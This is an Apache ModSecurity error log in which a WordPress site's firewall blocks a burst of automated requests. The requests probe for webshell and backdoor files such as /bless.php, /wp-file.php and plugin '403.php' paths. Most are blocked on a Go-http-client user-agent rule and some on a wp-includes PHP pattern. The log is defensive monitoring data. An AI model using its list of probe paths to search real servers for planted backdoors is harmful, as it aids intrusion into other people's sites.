[Sun May 10 08:20:31.474359 2026] [:error] [pid 46329:tid 46344] [client 85.203.23.169:34391] [client 85.203.23.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/x.php"] [unique_id "af_PT-Fo7Z2I88d0gPJPfAAAAAs"]
[Sun May 10 08:20:31.700413 2026] [:error] [pid 46329:tid 46340] [client 85.203.23.183:45381] [client 85.203.23.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/modern/"] [unique_id "af_PT-Fo7Z2I88d0gPJPfgAAAAc"]
[Sun May 10 08:20:31.898068 2026] [:error] [pid 46329:tid 46354] [client 85.203.23.186:32001] [client 85.203.23.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/plugins/"] [unique_id "af_PT-Fo7Z2I88d0gPJPfwAAABU"]
[Sun May 10 08:20:32.549606 2026] [:error] [pid 46330:tid 46412] [client 85.203.23.183:28707] [client 85.203.23.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/"] [unique_id "af_PUIztrhd3evDQvs81_AAAAFg"]
[Sun May 10 08:20:32.890030 2026] [:error] [pid 46417:tid 46428] [client 85.203.23.202:20785] [client 85.203.23.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/fukasawa/inc/classes/403.php"] [unique_id "af_PUGInm7mhwgbe48ZnLwAAAQk"]
[Sun May 10 08:20:33.161397 2026] [:error] [pid 46417:tid 46437] [client 85.203.23.208:43671] [client 85.203.23.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "af_PUWInm7mhwgbe48ZnMQAAARI"]
[Sun May 10 08:20:33.385771 2026] [:error] [pid 46329:tid 46334] [client 85.203.23.172:48407] [client 85.203.23.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/system_core.php"] [unique_id "af_PUeFo7Z2I88d0gPJPgAAAAAE"]
[Sun May 10 08:20:33.585926 2026] [:error] [pid 46417:tid 46438] [client 85.203.23.197:52667] [client 85.203.23.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "af_PUWInm7mhwgbe48ZnMgAAARM"]
[Sun May 10 08:20:33.889524 2026] [:error] [pid 46331:tid 46395] [client 85.203.23.199:59077] [client 85.203.23.199] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "af_PUQP02hpYETwsZpgSIQAAAJI"]
[Sun May 10 08:20:34.347998 2026] [:error] [pid 46417:tid 46420] [client 85.203.23.225:27815] [client 85.203.23.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/"] [unique_id "af_PUmInm7mhwgbe48ZnNAAAAQE"]
[Sun May 10 08:20:34.947870 2026] [:error] [pid 52634:tid 52645] [client 85.203.23.172:22175] [client 85.203.23.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "af_PUtwp8XoWCwFb54CRlAAAAMc"]
[Sun May 10 08:20:35.400602 2026] [:error] [pid 52634:tid 52651] [client 85.203.23.187:51669] [client 85.203.23.187] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin.php"] [unique_id "af_PU9wp8XoWCwFb54CRlgAAAM0"]
[Sun May 10 08:20:35.583073 2026] [:error] [pid 52634:tid 52639] [client 85.203.23.181:30697] [client 85.203.23.181] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/"] [unique_id "af_PU9wp8XoWCwFb54CRlwAAAME"]
[Sun May 10 08:20:35.766761 2026] [:error] [pid 52634:tid 52647] [client 85.203.23.204:50423] [client 85.203.23.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/components/"] [unique_id "af_PU9wp8XoWCwFb54CRmAAAAMk"]
[Sun May 10 08:20:35.985209 2026] [:error] [pid 52634:tid 52653] [client 85.203.23.201:39211] [client 85.203.23.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/images/"] [unique_id "af_PU9wp8XoWCwFb54CRmQAAAM8"]
[Sun May 10 08:20:36.268716 2026] [:error] [pid 46331:tid 46365] [client 85.203.23.222:47231] [client 85.203.23.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/radio.php"] [unique_id "af_PVAP02hpYETwsZpgSIgAAAIM"]
[Sun May 10 08:20:36.464017 2026] [:error] [pid 46330:tid 46369] [client 85.203.23.166:49215] [client 85.203.23.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/archives/"] [unique_id "af_PVIztrhd3evDQvs81_wAAAEE"]
[Sun May 10 08:20:36.672622 2026] [:error] [pid 46330:tid 46391] [client 85.203.23.203:46651] [client 85.203.23.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "af_PVIztrhd3evDQvs82AAAAAE0"]
[Sun May 10 08:20:36.856934 2026] [:error] [pid 46330:tid 46404] [client 85.203.23.187:47337] [client 85.203.23.187] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/php-compat/"] [unique_id "af_PVIztrhd3evDQvs82AQAAAFM"]
[Sun May 10 08:20:37.068378 2026] [:error] [pid 46417:tid 46433] [client 85.203.23.196:42717] [client 85.203.23.196] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/"] [unique_id "af_PVWInm7mhwgbe48ZnNwAAAQ4"]
[Sun May 10 08:20:37.275721 2026] [:error] [pid 46330:tid 46378] [client 85.203.23.187:24713] [client 85.203.23.187] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "af_PVYztrhd3evDQvs82AwAAAEY"]
[Sun May 10 08:20:37.475455 2026] [:error] [pid 46329:tid 46345] [client 85.203.23.182:50843] [client 85.203.23.182] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/bless.php"] [unique_id "af_PVeFo7Z2I88d0gPJPgQAAAAw"]
[Sun May 10 08:20:37.669053 2026] [:error] [pid 46417:tid 46435] [client 85.203.23.205:44545] [client 85.203.23.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "af_PVWInm7mhwgbe48ZnOAAAARA"]
[Sun May 10 08:20:37.878598 2026] [:error] [pid 46417:tid 46424] [client 85.203.23.178:50265] [client 85.203.23.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/modern/test2.php"] [unique_id "af_PVWInm7mhwgbe48ZnOQAAAQU"]
[Sun May 10 08:20:38.067141 2026] [:error] [pid 46331:tid 46377] [client 85.203.23.191:59093] [client 85.203.23.191] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "af_PVgP02hpYETwsZpgSJAAAAIk"]
[Sun May 10 08:20:38.265971 2026] [:error] [pid 46329:tid 46355] [client 85.203.23.177:58791] [client 85.203.23.177] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-file.php"] [unique_id "af_PVuFo7Z2I88d0gPJPggAAABY"]
[Sun May 10 08:20:38.467833 2026] [:error] [pid 46329:tid 46344] [client 85.203.23.200:58747] [client 85.203.23.200] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade/"] [unique_id "af_PVuFo7Z2I88d0gPJPhAAAAAs"]
[Sun May 10 08:20:38.702616 2026] [:error] [pid 46331:tid 46362] [client 85.203.23.183:48597] [client 85.203.23.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/index/function.php"] [unique_id "af_PVgP02hpYETwsZpgSJQAAAIE"]
[Sun May 10 08:20:38.896466 2026] [:error] [pid 46331:tid 46390] [client 85.203.23.224:50705] [client 85.203.23.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/light/"] [unique_id "af_PVgP02hpYETwsZpgSJgAAAI8"]
[Sun May 10 08:20:39.090498 2026] [:error] [pid 46331:tid 46392] [client 85.203.23.210:61955] [client 85.203.23.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/about.php"] [unique_id "af_PVwP02hpYETwsZpgSJwAAAJA"]
[Sun May 10 08:20:39.374428 2026] [:error] [pid 46417:tid 46423] [client 85.203.23.171:26045] [client 85.203.23.171] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/plugin/"] [unique_id "af_PV2Inm7mhwgbe48ZnPQAAAQQ"]
[Sun May 10 08:20:39.555974 2026] [:error] [pid 46417:tid 46434] [client 85.203.23.217:56983] [client 85.203.23.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/chosen.php"] [unique_id "af_PV2Inm7mhwgbe48ZnQQAAAQ8"]
[Sun May 10 08:20:41.375975 2026] [:error] [pid 46330:tid 46368] [client 85.203.23.168:27999] [client 85.203.23.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/"] [unique_id "af_PWYztrhd3evDQvs82BQAAAEA"]
[Sun May 10 08:20:41.687424 2026] [:error] [pid 52634:tid 52660] [client 85.203.23.209:58553] [client 85.203.23.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "af_PWdwp8XoWCwFb54CRmgAAANY"]
[Sun May 10 08:20:41.885038 2026] [:error] [pid 46417:tid 46423] [client 85.203.23.219:64569] [client 85.203.23.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "af_PWWInm7mhwgbe48ZnSwAAAQQ"]
[Sun May 10 08:20:42.067001 2026] [:error] [pid 52634:tid 52657] [client 85.203.23.206:20673] [client 85.203.23.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/403x.php"] [unique_id "af_PWtwp8XoWCwFb54CRnAAAANM"]
[Sun May 10 08:20:42.294855 2026] [:error] [pid 46331:tid 46399] [client 85.203.23.180:39667] [client 85.203.23.180] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "af_PWgP02hpYETwsZpgSLgAAAJQ"]
[Sun May 10 08:20:43.978182 2026] [:error] [pid 46331:tid 46361] [client 85.203.23.168:56073] [client 85.203.23.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "af_PWwP02hpYETwsZpgSMAAAAIA"]
[Sun May 10 08:20:44.165392 2026] [:error] [pid 46417:tid 46429] [client 85.203.23.204:40195] [client 85.203.23.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/"] [unique_id "af_PXGInm7mhwgbe48ZnTQAAAQo"]
[Sun May 10 08:20:44.359803 2026] [:error] [pid 46417:tid 46432] [client 85.203.23.224:23413] [client 85.203.23.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/config.php"] [unique_id "af_PXGInm7mhwgbe48ZnTgAAAQ0"]
[Sun May 10 08:20:44.555684 2026] [:error] [pid 46417:tid 46433] [client 85.203.23.183:45971] [client 85.203.23.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/header.php"] [unique_id "af_PXGInm7mhwgbe48ZnTwAAAQ4"]
[Sun May 10 08:20:44.768176 2026] [:error] [pid 52634:tid 52644] [client 85.203.23.182:63193] [client 85.203.23.182] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hello.php"] [unique_id "af_PXNwp8XoWCwFb54CRnQAAAMY"]
[Sun May 10 08:20:44.960315 2026] [:error] [pid 52634:tid 52645] [client 85.203.23.195:22873] [client 85.203.23.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/pullquote/"] [unique_id "af_PXNwp8XoWCwFb54CRngAAAMc"]
[Sun May 10 08:20:45.196322 2026] [:error] [pid 46331:tid 46386] [client 85.203.23.203:39347] [client 85.203.23.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2024/"] [unique_id "af_PXQP02hpYETwsZpgSMQAAAI0"]
[Sun May 10 08:20:45.404062 2026] [:error] [pid 46330:tid 46412] [client 85.203.23.221:22463] [client 85.203.23.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/src/Core/"] [unique_id "af_PXYztrhd3evDQvs82CAAAAFg"]
[Sun May 10 08:20:45.586082 2026] [:error] [pid 52634:tid 52649] [client 85.203.23.173:27249] [client 85.203.23.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/"] [unique_id "af_PXdwp8XoWCwFb54CRnwAAAMs"]
[Sun May 10 08:20:45.779057 2026] [:error] [pid 46330:tid 46396] [client 85.203.23.195:42539] [client 85.203.23.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/"] [unique_id "af_PXYztrhd3evDQvs82CQAAAE8"]
[Sun May 10 08:20:45.976504 2026] [:error] [pid 46330:tid 46373] [client 85.203.23.214:30095] [client 85.203.23.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/filester/assets/css/404.php"] [unique_id "af_PXYztrhd3evDQvs82CwAAAEM"]
[Sun May 10 08:20:51.180768 2026] [:error] [pid 46417:tid 46431] [client 85.203.23.182:25853] [client 85.203.23.182] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "af_PY2Inm7mhwgbe48ZnVQAAAQw"]
[Sun May 10 08:20:51.368428 2026] [:error] [pid 52634:tid 52642] [client 85.203.23.225:35287] [client 85.203.23.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/"] [unique_id "af_PY9wp8XoWCwFb54CRowAAAMQ"]
[Sun May 10 08:20:51.559770 2026] [:error] [pid 46330:tid 46376] [client 85.203.23.218:27429] [client 85.203.23.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "af_PY4ztrhd3evDQvs82DAAAAEU"]
[Sun May 10 08:20:51.768082 2026] [:error] [pid 52634:tid 52640] [client 85.203.23.190:23289] [client 85.203.23.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-post/"] [unique_id "af_PY9wp8XoWCwFb54CRpAAAAMI"]
[Sun May 10 08:20:51.967978 2026] [:error] [pid 46417:tid 46423] [client 85.203.23.199:30983] [client 85.203.23.199] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/"] [unique_id "af_PY2Inm7mhwgbe48ZnVgAAAQQ"]
[Sun May 10 08:20:52.158523 2026] [:error] [pid 46330:tid 46400] [client 85.203.23.180:37537] [client 85.203.23.180] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-admin/maint/"] [unique_id "af_PZIztrhd3evDQvs82DQAAAFE"]
